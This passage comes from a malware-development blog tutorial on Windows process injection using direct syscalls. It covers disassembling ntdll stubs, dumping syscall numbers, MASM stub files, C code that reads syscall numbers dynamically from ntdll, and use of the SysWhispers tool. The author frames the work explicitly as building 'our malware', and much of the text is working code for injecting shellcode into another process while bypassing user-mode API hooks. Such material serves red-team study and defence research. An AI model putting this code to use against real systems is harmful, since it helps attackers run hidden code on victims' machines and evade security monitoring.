00007FFE4F5CD4D0 | 75 03                jne ntdll.7FFE4F5CD4D5 -------
00007FFE4F5CD4D2 | 0F05                 syscall                      |
00007FFE4F5CD4D4 | C3                   ret                          |
00007FFE4F5CD4D5 | CD 2E                int 2E <----------------------
00007FFE4F5CD4D7 | C3                   ret 
```

However, after setting a breakpoint on both the `syscall` and `int 2E` instructions to see which would get invoked, I noticed that indeed, the `syscall` instruction was the one being hit:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2Fo4StnOJewN9f3uC0cLda%2Fimage.png?alt=media&#x26;token=ad448aab-eb26-46ff-864f-ea3768ac358e" alt=""><figcaption><p><code>syscall</code> instruction breakpoint hit</p></figcaption></figure>

So, what's going on here? The value being compared (`1`) to the `SystemCall` member (which again, on my machine was `0`) aren't equal ($$1 \ne 0$$), so with it not being equal, shouldn't we have `jne` to the `int 2E` instruction at the address `00007FFE4F5CD4D5`?&#x20;

{% hint style="info" %}
Yes, I know many of you assembly veterans are clawing at your walls and screens right now - but I'm providing this for newcomers who may have struggled with this concept as I once did.
{% endhint %}

You see... the issue was that my understanding of the `jne` and `test` instructions were flawed - I *kept* mistaking a `test` instruction for a `cmp` instruction - my logic would be sound in the case that the test being done was being done with a `cmp`. However, with a `test` instruction, it's a bit different which is why I was getting so confused. So, let's delve into this really quickly to clear everything up. Please skip to the next section if you're not interested.

#### TEST, CMP, JNE, ZF Waltz

The `test` instruction performs a bitwise `AND` operation on two operands. Meanwhile, a `cmp` just does a [subtraction](https://stackoverflow.com/a/45898850). For example, in the case of the `test` instruction, performing a `test` on `1011` and `1101` would look something like:

```nasm
; test (bitwise-AND (&))
1011
1101
----
1001
```

The results of these operations (`test` and `cmp`) aren't actually kept, rather, the flags that they alter during these operations are kept. There are a couple of flags that get used by the `test` instruction, but the one we're most interested in is the `ZF` (Zero Flag). If the result of the `test` operation is `0`, the `ZF` is set to `1`, otherwise, it's set to `0`. When we get to the `jne ntdll.7FFE4F5CD4D5` instruction:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FCJ4g3PZOMr0EJLhi9RTb%2Fimage.png?alt=media&#x26;token=6162fbbf-d0fe-4dd0-8a56-913c4ec64367" alt=""><figcaption><p>Breakpoint hit</p></figcaption></figure>

We can see that at that moment, the `ZF` flag is set to `1`:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FvUuBxzsmnCQnoI2taaMV%2Fimage.png?alt=media&#x26;token=bee19f84-1422-42ae-8f57-ec8ad2a1a1ac" alt=""><figcaption><p><code>ZF</code>:<code>1</code></p></figcaption></figure>

So, the `jne` instruction jumps (or doesn't) to the specified address depending on the value of the `ZF` flag and whether it's set to `0` or not. If the `ZF` flag is one (`1`) then the `jne` is skipped and the location of the `jne` instruction isn't jumped to. However, if the `ZF` flag is zero (`0`), then indeed, the `jne` instruction will jump to the address that it's given. If instead of a `test` instruction a `cmp` instruction was made, then yeah, we'd be right and our execution flow *would* land on the `int 2eh` branch. Look at the following two images that show this:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FX9EcjHy0Yu8yMlFt52ap%2Fimage.png?alt=media&#x26;token=040a7c2f-5cf1-4a02-b123-d83d3a883897" alt=""><figcaption><p><code>cmp</code> flow path</p></figcaption></figure>

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2F1ui0FiTsh0agNW8shZ1Z%2Fimage.png?alt=media&#x26;token=3f033125-3484-4783-9508-4dc423563b7b" alt=""><figcaption><p><code>test</code> flow path</p></figcaption></figure>

We can see that if we set a breakpoint on the actual `jne ntdll.7FFE4F5CD4D5` instruction, and toggle the `ZF` flag off manually (either by double-clicking it or selecting it and pressing space), *then* we can force flow to change to `int 2e`:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FkrmVMb0eFXuwZZ3BItsi%2Fimage.png?alt=media&#x26;token=eb57d039-9414-42b9-b04d-f4acc5b8f01a" alt=""><figcaption><p>Toggling <code>ZF</code> to be <code>0</code> at the <code>jne ntdll.7FFE4F5CD4D5</code> instruction</p></figcaption></figure>

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FbYplPfnG2Oa8nSFc99fr%2Fimage.png?alt=media&#x26;token=8670733a-fc73-4056-895d-41da000b87ed" alt=""><figcaption><p>Flow changes to land on <code>int 2E</code></p></figcaption></figure>

It's a bit *subtle* but you can see the new red arrow pointing to the execution path we'd end up taking. We can hit run and we'll see that we'll end up hitting the `int 2E` instruction!

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FDDOlGkVz4JSjx4CBbY2D%2Fimage.png?alt=media&#x26;token=5bddcfa5-c0ef-4a82-920d-004fed881a6b" alt=""><figcaption><p>et voilà!</p></figcaption></figure>

Very fascinating stuff! I apologize for the incredible detour we just took but hopefully we have a deeper understanding of all these various concepts now. You can read more here if you'd like:

{% embed url="<https://stackoverflow.com/a/13064985>" %}
Extra material
{% endembed %}

{% embed url="<https://en.wikipedia.org/wiki/TEST_(x86_instruction)>" %}
Extra material
{% endembed %}

So far we've gotten a pretty decent picture of what happens on the user-mode side when we call a function. If you'd like a more in-depth view of what actually happens on the kernel-mode side after a system call has been issued, please refer to the amazing Alice Climent-Pommeret's blog post on the subject, their work is (always) fantastic and definitely worth the read!

{% embed url="<https://alice.climent-pommeret.red/posts/a-syscall-journey-in-the-windows-kernel/>" %}
Alice's incredible blog about syscalls
{% endembed %}

With that being said, I've taken the liberty of drawing a ~~shitty~~ little graph of the execution flow of a typical WinAPI function:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FeeU65Z9bn9q5yRjY40jQ%2Fimage.png?alt=media&#x26;token=d983d42c-a9f5-4dc1-92de-b305bafba3cc" alt=""><figcaption></figcaption></figure>

With this gargantuan tangent finally over with, let's discuss how we may be able to dump these syscall numbers so that we can use them in our malware.

## Dumping Syscall Numbers

The astute amongst you might already be thinking that you can just look inside of `ntdll`, find the function you need, and then dump the syscall numbers for said functions. Yes! You 100% *can* do that and that's typically how these syscall numbers are dumped (well, typically they're dumped from `ntdll` on-disk since it's more of a guarantee that things won't be altered). The only thing about this approach is that it can get really-*really* fucking tedious. Luckily, there are people like [`j00ru`](https://github.com/j00ru) and his amazing syscall table in which you get all of these dumped syscalls for a variety of different Windows versions and builds:

{% embed url="<https://j00ru.vexillium.org/syscalls/nt/64/>" %}
Syscall table (x64)
{% endembed %}

If we look for the syscall number we had for `NtOpenProcess` (`0x26`), we'll very quickly find our function - and we can see the syscall numbers for the previous builds and versions:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FkFORHE3Q3IaxPcmVi8y4%2Fimage.png?alt=media&#x26;token=aa909123-7389-4bab-88f0-d87c48de562e" alt=""><figcaption><p><code>NtOpenProcess</code> syscall numbers</p></figcaption></figure>

{% hint style="warning" %}
Again, with things like syscalls, as you can see from the table, these things can change without warning. Furthermore, as great as the syscall table is, the official repository only goes up to Windows 10, build 20H2.
{% endhint %}

So, although it's not much different from what we've been doing - having a place where you can just `Ctrl`+`F` and search for your function and immediately get the syscall number for it, is really useful. However, again, since our version of Windows is newer than the table's last dump, we should exercise some caution. For that reason, I'll just be dumping my syscall numbers manually (you can use any debugger/disassembler/method for this).

{% hint style="warning" %}
Some of you might be raising your fists in the air wondering where syswhispers is. I'll be going over syswhispers after we've done everything manually since I believe in the "do it manually first and then find a tool that does the heavy lifting for you" approach. If you can't be arsed, click [here](#syswhispers) to jump to the syswhispers section.
{% endhint %}

So, like we've done for the `NtOpenProcess` function, I'll rinse and repeat for all the functions we'll be using for this injection. Note that I'm currently on Windows 10, 22H2:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FfiYI9bwevqY41R0dK1Qv%2Fimage.png?alt=media&#x26;token=97709722-315f-478c-a1ca-2aeaa51b10d2" alt=""><figcaption><p><code>winver</code> output</p></figcaption></figure>

```nasm
0:000> uf NtOpenProcess
[...]
00007ff8`aabed4c3 b826000000      mov     eax,26h
[...]
```

```nasm
0:000> uf NtAllocateVirtualMemory
[...]
00007ff8`aabed303 b818000000      mov     eax,18h
[...]
```

```nasm
0:000> uf NtWriteVirtualMemory
[...]
00007ff8`aabed743 b83a000000      mov     eax,3Ah
[...]
```

```nasm
0:000> uf NtCreateThreadEx
[...]
00007ff8`aabee833 b8c2000000      mov     eax,0C2h
[...]
```

```nasm
0:000> uf NtWaitForSingleObject
[...]
00007ff8`aabed083 b804000000      mov     eax,4
[...]
```

```nasm
0:000> uf NtClose
[...]
00007ff8`aabed1e3 b80f000000      mov     eax,0Fh
[...]
```

With all of our syscall numbers dumped, we can move on to actually programming this!

## Implementation

Because of the fact that we're introducing some assembly code to our project, we're going to have to do some setup inside Visual Studio to get everything working as intended (you can try to mess around with inline-asm but do note that MSVC doesn't allow you to do inline-asm for x64. So, you could look into the intel compiler, some other method, or just compile the assembly files like we're doing here). For ease of viewing and following along, I've separated the implementation into two parts: the assembly portion and the regular portion.

### The Assembly Portion

We'll start by making a new empty project within Visual Studio (name it whatever you want; bonus points if you name it something funny):

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2Fbl1QZIgjOvDCtCa9Cpzb%2Fimage.png?alt=media&#x26;token=612d98c7-960b-4149-bed8-c18ae0a19697" alt=""><figcaption><p>Making a new empty project</p></figcaption></figure>

Now, we're going to set up our project to use the Microsoft Macro Assembler (MASM). That's how we're going to be compiling our assembly code. Start by right-clicking your project name:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FCmFeCELQVTtLj5NKmTnm%2Fimage.png?alt=media&#x26;token=ff0e8f0f-b390-4b35-893d-197bdbf6eb2c" alt=""><figcaption><p>Creating appropriate captions are hard</p></figcaption></figure>

From the menu, we want to go to `Build Dependencies > Build Customizations`:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FaZvBHkvy31MWHWnY7oMu%2Fimage.png?alt=media&#x26;token=212276e2-b9de-40ea-b86a-47738f30ab66" alt="" width="439"><figcaption><p>Going to Build Customizations</p></figcaption></figure>

Once the new window pops up, we want to toggle the `masm(.target, .props)` option:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2Fp0rlgPBRwd5OP7QjSKfH%2Fimage.png?alt=media&#x26;token=bc4ada56-f1c0-4e86-ad15-8e2ba0f2033b" alt=""><figcaption><p>Enabling MASM</p></figcaption></figure>

Press `OK` and we can move on! With that finished, we can now compile `.asm` files which is awesome because now we're going to begin programming with our syscall numbers that we've dumped. All we're going to be doing in a sense is just copying what a standard syscall stub looks like. That's pretty much it - there are some more complex `.asm` programs that will determine which build of Windows you are and redirect you to the syscall that you should use (syswhispers foreshadowing), but we'll keep ours as simple as we can for now to build a basic foundation. Hit `Ctrl`+`Shift`+`A` to add a new item and we'll call this something like `syscalls.asm` or something:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FLOvXi8L4vIHS5Jzkk2Jc%2Fimage.png?alt=media&#x26;token=4e280a9b-671f-4e2a-8d40-a337685034da" alt=""><figcaption><p>Creating an asm file</p></figcaption></figure>

{% hint style="warning" %}
It may be tempting to just start keyboard-spamming some incredibly juicy assembly into your newly created file right away but hold on a second. You still need to set this file up to be used with MASM. Sometimes people overlook/forget about this step and it's very easily avoidable.
{% endhint %}

We then right-click on this newly created file and go to `Properties`:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FdMbKzt8Ui5lVwwYq7oPo%2Fimage.png?alt=media&#x26;token=ee9d898c-8c7b-4ea9-ba52-ae69967ed721" alt=""><figcaption><p><code>Properties</code></p></figcaption></figure>

In this Window, we want to set the `Item Type` to `Microsoft Macro Assembler` (sometimes that'll already be selected, and so if it is, you needn't worry about this step and we can just move on to the programming part) and make sure the `Excluded From Build` option is set *explicitly* to `No` (I don't think you *have* to set this but it's a simple thing we can toggle to avoid potential headaches - *should they arise*):

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2F4kuSG0yV3DEN4VRHMNHy%2Fimage.png?alt=media&#x26;token=f4015ef4-58a7-4104-89ff-be8ac725d900" alt=""><figcaption><p>Setting <code>syscalls.asm</code> properties</p></figcaption></figure>

Now, we can finally start programming. Our `syscalls.asm` file will look something like the following:

```nasm
; WINDOWS 10, 22H2 19045

.code

NtOpenProcess PROC
		mov r10, rcx
		mov eax, 26h
		syscall
		ret
NtOpenProcess ENDP

NtAllocateVirtualMemory PROC
		mov r10, rcx
		mov eax, 18h
		syscall
		ret
NtAllocateVirtualMemory ENDP

NtWriteVirtualMemory PROC
		mov r10, rcx
		mov eax, 3Ah
		syscall
		ret
NtWriteVirtualMemory ENDP

NtCreateThreadEx PROC
		mov r10, rcx
		mov eax, 0C2h
		syscall
		ret
NtCreateThreadEx ENDP

NtWaitForSingleObject PROC
		mov r10, rcx
		mov eax, 4h
		syscall
		ret
NtWaitForSingleObject ENDP

NtClose PROC
		mov r10, rcx
		mov eax, 0Fh
		syscall
		ret
NtClose ENDP

end
```

{% file src="<https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FcnOdTLSxFNZEsCZP70Ka%2Fsyscalls.asm?alt=media&token=648f7df2-155d-4382-acda-8695b39fc762>" %}
Assembly syscall stubs&#x20;
{% endfile %}

As we can see, all we've done is recreate the syscall stubs we've disassembled earlier. Luckily for us, our code isn't too difficult to implement or understand.&#x20;

### The Normal Portion

With these syscall stubs set, we can now create a header file that'll house the function prototypes necessary for this to work (recall the two NTAPI Injection blogs). You *could* do all of this in a single file without a header but we actually take showers here and aren't *that* nerdy. Just kidding, do whatever you want. The header file just modularizes our code and makes it easier for other developers to read.

{% file src="<https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2Fjt58SMOwKy5UgbRlVk2v%2FglassBox.h?alt=media&token=2c028725-3463-4650-9123-9602c673d539>" %}
Header file
{% endfile %}

The `extern` keyword is pretty much telling the compiler to use our `.asm` file for the `Nt` function prototypes that we're defining in our `glassBox.h` header file. It's very important for us to include this. The great part about this technique as compared to the NTAPI injection techniques for example, is that once this part is done, we can just call the functions as we would normally - without the whole "getting the process address from `ntdll.dll` using `GetProcAddress`" fiasco. Instead, we can call it directly! Like this, for example:

```c
[...]

    info("getting a handle on process (%ld)...", PID);
	STATUS = NtOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &OA, &CID);
    if (STATUS != STATUS_SUCCESS) {
        warn("[NtOpenProcess] failed, error: 0x%x", STATUS);
        return EXIT_FAILURE;
    }
    okay("got a handle on the process!");
    info("\\___[ hProcess\n\t\\_0x%p]", hProcess);

[...]
```

With that being said, we already know all of these arguments and what they should be because we've covered them in the previous two blog posts. So, I won't be reiterating all of that here since this blog is already ludicrously long to begin with. Here's what the code should look like:

{% file src="<https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2Fc2UUqMLkDEEpsqNXYIuT%2Fdirectsyscalls.c?alt=media&token=6c97acf9-a0bc-47ba-bd0a-9fc7e8cfdf68>" %}
Finished source code!
{% endfile %}

Aside from the following section, everything should be making sense since we've already done this before:

```c
    for (int i = 0; i < sizeof(crowPuke); i++) {
        if (i % 16 == 0) {
            printf("\n  ");
        }
        Sleep(1);
        printf(" %02X", crowPuke[i]);
    }
    puts("\n");
```

{% hint style="warning" %}
This is totally unnecessary code. You can get rid of this if you want. It'll be even faster since there won't be a `1ms` sleep betwixt bytes being printed, but I wanted to have fun with this one and it just looks cool. Your choice, homie.
{% endhint %}

All this does is print out our shellcode (one byte at a time with a `1ms` sleep per byte). Once it's printed 16-bytes in a row, it'll do a newline and start printing again; rinsing and repeating until it's done with all the shellcode. With that being said, let's finally see this in action.

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FwqePyN7Z7uflo4y1KqL7%2FRecording%202023-09-01%20at%2016.01.06.gif?alt=media&#x26;token=ff0408f6-6338-4e47-89cf-9c46fdf868ea" alt=""><figcaption><p>Direct syscalls demo</p></figcaption></figure>

Everything works *beautifully*. Let's now cover something that'll make this process even more streamlined and automated.

## Dynamic Syscall Retrieval

When I first attempted this technique months ago, I had a thought that we should be able to dynamically retrieve these syscall numbers from the syscall stubs by just looking at the `mov eax, SSN` line. Well, at that time, I lacked the programmatic prowess to actually follow that through but upon reading a really fantastic blog on direct syscalls by a really cool person, [VirtualAllocEx](https://twitter.com/VirtualAllocEx), aka Daniel Feichter from RedOps, I saw that he had done exactly that! You're urged to go and read his incredible blog below - it's much better than my garbage:

{% embed url="<https://redops.at/en/blog/direct-syscalls-vs-indirect-syscalls>" %}
Direct Syscalls vs Indirect Syscalls
{% endembed %}

So, I used his dynamic syscall retrieval method and turned it into a single function (I'm sure this can be made even better, and you're urged to try. Again, my programming "skills" are still really subpar but I'm always learning so :man\_shrugging:):

```c
/*-----------[SEEK SYSCALLS]-----------*/
DWORD GetSSN(IN HMODULE hNTDLL, IN LPCSTR NtFunction) {

    DWORD NtFunctionSSN = NULL;
    UINT_PTR NtFunctionAddress = NULL;

    info("trying to get the address of %s...", NtFunction);
    NtFunctionAddress = (UINT_PTR)GetProcAddress(hNTDLL, NtFunction);

    if (NtFunctionAddress == NULL) {
        warn("failed to get the address of %s", NtFunction);
        return NULL;
    }

    okay("got the address of %s!", NtFunction);
    info("getting SSN of %s...", NtFunction);
    NtFunctionSSN = ((PBYTE)(NtFunctionAddress + 4))[0];
    okay("\\___[\n\t| %s\n\t| 0x%p+0x4\n\t|____________________0x%lx]\n", NtFunction, NtFunctionAddress, NtFunctionSSN);
    return NtFunctionSSN;

}
```

We will have to edit our `.asm` file to use an external variable (which we're going to be populating with our `GetSSN` function) instead of a hardcoded SSN since we're doing this dynamically now:

```nasm
.data

; we're going to be getting these SSN numbers from our c program
EXTERN NtCloseSSN:DWORD                
EXTERN NtOpenProcessSSN:DWORD          
EXTERN NtCreateThreadExSSN:DWORD       
EXTERN NtWriteVirtualMemorySSN:DWORD   
EXTERN NtWaitForSingleObjectSSN:DWORD  
EXTERN NtAllocateVirtualMemorySSN:DWORD

.code

NtOpenProcess proc
		mov r10, rcx
		mov eax, NtOpenProcessSSN       ; SSN will be retrieved by reading &function+0x4
		syscall                         ; can replace with int 2eh as well
		ret                             
NtOpenProcess endp

NtAllocateVirtualMemory proc
		mov r10, rcx
		mov eax, NtAllocateVirtualMemorySSN      
		syscall                        
		ret                             
NtAllocateVirtualMemory endp

NtWriteVirtualMemory proc
		mov r10, rcx
		mov eax, NtWriteVirtualMemorySSN      
		syscall                        
		ret                             
NtWriteVirtualMemory endp

NtCreateThreadEx proc
		mov r10, rcx
		mov eax, NtCreateThreadExSSN      
		syscall                        
		ret                             
NtCreateThreadEx endp

NtWaitForSingleObject proc
		mov r10, rcx
		mov eax, NtWaitForSingleObjectSSN      
		syscall                        
		ret                             
NtWaitForSingleObject endp

NtClose proc
		mov r10, rcx
		mov eax, NtCloseSSN      
		syscall                        
		ret                             
NtClose endp
end
```

Our header file remains the same but in our main program, we need to do a bit of additional setup:

```c
#include "glassBox.h"

DWORD NtCloseSSN; 
DWORD NtOpenProcessSSN; 
DWORD NtCreateThreadExSSN;
DWORD NtWriteVirtualMemorySSN;
DWORD NtWaitForSingleObjectSSN; 
DWORD NtAllocateVirtualMemorySSN;

/*-----------[SEEK SYSCALLS]-----------*/
DWORD GetSSN(IN HMODULE hNTDLL, IN LPCSTR NtFunction) {

    DWORD NtFunctionSSN = NULL;
    UINT_PTR NtFunctionAddress = NULL;

    info("trying to get the address of %s...", NtFunction);
    NtFunctionAddress = (UINT_PTR)GetProcAddress(hNTDLL, NtFunction);

    if (NtFunctionAddress == NULL) {
        warn("failed to get the address of %s", NtFunction);
        return NULL;
    }

    okay("got the address of %s!", NtFunction);
    info("getting SSN of %s...", NtFunction);
    NtFunctionSSN = ((PBYTE)(NtFunctionAddress + 4))[0];
    okay("\\___[\n\t| %s\n\t| 0x%p+0x4\n\t|____________________0x%lx]\n", NtFunction, NtFunctionAddress, NtFunctionSSN);
    return NtFunctionSSN;

}

int main(void) {
 
   /*--------[GET SYSCALLS]--------*/
   hNTDLL = getMod(L"NTDLL");
   NtOpenProcessSSN = GetSSN(hNTDLL, "NtOpenProcess");
   NtAllocateVirtualMemorySSN = GetSSN(hNTDLL, "NtAllocateVirtualMemory");
   NtWriteVirtualMemorySSN = GetSSN(hNTDLL, "NtWriteVirtualMemory");
   NtCreateThreadExSSN = GetSSN(hNTDLL, "NtCreateThreadEx");
   NtWaitForSingleObjectSSN = GetSSN(hNTDLL, "NtWaitForSingleObject");
   NtCloseSSN = GetSSN(hNTDLL, "NtClose");
  
  return EXIT_SUCCESS;
}
```

The `getMod` function that you see in the line: `hNTDLL = getMod(L"NTDLL");` is another function I made for getting handles to modules (covered in the full NTAPI blog), it's nothing special but a nice little QoL time saver:

```c
HMODULE getMod(IN LPCWSTR modName) {

    HMODULE hModule = NULL;
    info("trying to get a handle to %S", modName);

    hModule = GetModuleHandleW(modName);

    if (hModule == NULL) {
        warn("failed to get a handle to the module, error: 0x%lx\n", GetLastError());
        return NULL;
    }

    else {
        okay("got a handle to the module!");
        info("\\___[ %S\n\t\\_0x%p]\n", modName, hModule);
        return hModule;
    }

}
```

This brings the entirety of this blog post to [the following final code](https://github.com/cr-0w/maldev/tree/main/Process%20Injection/Direct%20Syscalls). And finally, without further ado, here's the direct syscalls injection with dynamic SSN retrieval:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FPSJii5Y8UcCfmL01FcWd%2FRecording%202023-09-02%20at%2012.43.48.gif?alt=media&#x26;token=4abc2663-9bdc-43c1-9af6-d53b5bc28272" alt=""><figcaption><p>Final demo (click to zoom)</p></figcaption></figure>

## SysWhispers

No doubt, if you've spent any amount of time researching or participating in the development of malware, you've probably come across a tool (or versions of this tool) called "syswhispers". It's not without reason, after all. You know how we've created a `syscalls.asm` file with all of our syscall stubs in it, the function prototypes in our `glassBox.h` header file, etc.? Well, here comes syswhispers to do *all* that heavy lifting for you. All you have to do is supply the version of Windows you'd like to target, and the function names that you want the assembly stubs for, and you're done!

{% hint style="warning" %}
It's important to note that syswhispers comes in multiple versions, each version bringing *something* new to the table. For instance, a caveat of the first version of syswhispers is that it only goes up to Windows 10, 21H1. It also lacks features that its more updated versions; [syswhispers2](https://github.com/jthuraisamy/SysWhispers2) and [syswhispers3](https://github.com/klezVirus/SysWhispers3) include, so it's worth looking around and experimenting.
{% endhint %}

We start by cloning the repo, which you can find here:

{% embed url="<https://github.com/jthuraisamy/SysWhispers.git>" %}
SysWhispers repo
{% endembed %}

If we run this without any arguments, we can see the following:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FyS4Ubcg88ANs3NEVcrTJ%2Fimage.png?alt=media&#x26;token=07ac4500-6d53-414b-8c3d-2d18d1e694e1" alt=""><figcaption><p>SysWhispers output</p></figcaption></figure>

We can see that there are some presets we can use like: `all` to get *all* the syscalls possible or the most "common" ones with the `common` preset. We'll manually define ours because the output can get really large. We'll supply the following to the script:

{% code overflow="wrap" %}

```bash
C:\tools\SysWhispers-master\SysWhispers-master>python syswhispers.py -f NtOpenProcess,NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx,NtWaitForSingleObject,NtClose -v 10 -o syscalls

  ,         ,       ,_ /_   .  ,   ,_    _   ,_   ,
_/_)__(_/__/_)__/_/_/ / (__/__/_)__/_)__(/__/ (__/_)__
      _/_                         /
     (/                          /   @Jackson_T, 2019

SysWhispers: Why call the kernel when you can whisper?

Complete! Files written to:
        syscalls.asm
        syscalls.h
```

{% endcode %}

We can see that the script generates two files for us! If we look at the generated files, starting with the assembly file, we can see the core logic behind what syswhisper is doing:

```nasm
.code

NtOpenProcess PROC
	mov rax, gs:[60h]                   ; Load PEB into RAX.
NtOpenProcess_Check_X_X_XXXX:               ; Check major version.
	cmp dword ptr [rax+118h], 10
	je  NtOpenProcess_Check_10_0_XXXX
	jmp NtOpenProcess_SystemCall_Unknown
NtOpenProcess_Check_10_0_XXXX:              ; Check build number for Windows 10.
	[...]
	cmp word ptr [rax+120h], 19042
	je NtOpenProcess_SystemCall_10_0_19042
	cmp word ptr [rax+120h], 19043
	je NtOpenProcess_SystemCall_10_0_19043
	jmp NtOpenProcess_SystemCall_Unknown   
	[...]
NtOpenProcess_SystemCall_10_0_19042:        ; Windows 10.0.19042 (20H2)
	mov eax, 0026h
	jmp NtOpenProcess_Epilogue
NtOpenProcess_SystemCall_10_0_19043:        ; Windows 10.0.19043 (21H1)
	mov eax, 0026h
	jmp NtOpenProcess_Epilogue
NtOpenProcess_SystemCall_Unknown:           ; Unknown/unsupported version.
	ret
NtOpenProcess_Epilogue:
	mov r10, rcx
	syscall
	ret
NtOpenProcess ENDP

	[...]
```

The assembly code starts off by loading the Process Environment Block (`PEB`) into the `RAX` register. It does this because the `PEB` structure holds the major Windows version and build number within some of its members at the `0x118` (`OSMajorVersion`) and `0x120` (`OSBuildNumber`) offsets respectively:

<pre class="language-nasm"><code class="lang-nasm">0:000> dt _PEB @$PEB
ntdll!_PEB
   +0x000 InheritedAddressSpace : 0 ''
   +0x001 ReadImageFileExecOptions : 0 ''
   +0x002 BeingDebugged    : 0x1 ''
   [...]
   +0x108 GdiDCAttributeList : 0
   +0x10c Padding3         : [4]  ""
   +0x110 LoaderLock       : 0x00007ffa`330165c8 _RTL_CRITICAL_SECTION
<strong>   +0x118 OSMajorVersion   : 0xa    ; 10    (Windows 10)
</strong>   +0x11c OSMinorVersion   : 0
<strong>   +0x120 OSBuildNumber    : 0x4a65 ; 19045 (Build 19045)
</strong>   +0x122 OSCSDVersion     : 0
   +0x124 OSPlatformId     : 2
   [...]
</code></pre>

So, we can see from the check being done below that if the Windows version isn't 10, it will `jmp NtOpenProcess_SystemCall_Unknown` which just contains a singular `ret` instruction. If the version *is* Windows 10, then, the function goes on and determines what *build version* it is to find and use the appropriate SSN. Remember, this is necessary because syscall numbers can change from build to build, and almost definitely from major version to major version.&#x20;

{% code overflow="wrap" %}

```nasm
NtOpenProcess_Check_X_X_XXXX:               ; Check major version. (checking to see if we're on Windows 10 or not)
	cmp dword ptr [rax+118h], 10         
	je  NtOpenProcess_Check_10_0_XXXX   
	jmp NtOpenProcess_SystemCall_Unknown ; if it doesn't detect win 10 it performs an unconditional jmp to NtOpenProcess_SystemCall_Unknown which will just return.
```

{% endcode %}

After this version-checking snippet comes the *build*-verifying/enumerating portion of the code:

```nasm
NtOpenProcess_Check_10_0_XXXX:              ; Check build number for Windows 10.
	cmp word ptr [rax+120h], 10240
	je  NtOpenProcess_SystemCall_10_0_10240
	cmp word ptr [rax+120h], 10586
	je  NtOpenProcess_SystemCall_10_0_10586
	cmp word ptr [rax+120h], 14393
	je  NtOpenProcess_SystemCall_10_0_14393
	cmp word ptr [rax+120h], 15063
	je  NtOpenProcess_SystemCall_10_0_15063
	cmp word ptr [rax+120h], 16299
	je  NtOpenProcess_SystemCall_10_0_16299
	cmp word ptr [rax+120h], 17134
	je  NtOpenProcess_SystemCall_10_0_17134
	cmp word ptr [rax+120h], 17763
	je  NtOpenProcess_SystemCall_10_0_17763
	cmp word ptr [rax+120h], 18362
	je  NtOpenProcess_SystemCall_10_0_18362
	cmp word ptr [rax+120h], 18363
	je  NtOpenProcess_SystemCall_10_0_18363
	cmp word ptr [rax+120h], 19041
	je  NtOpenProcess_SystemCall_10_0_19041
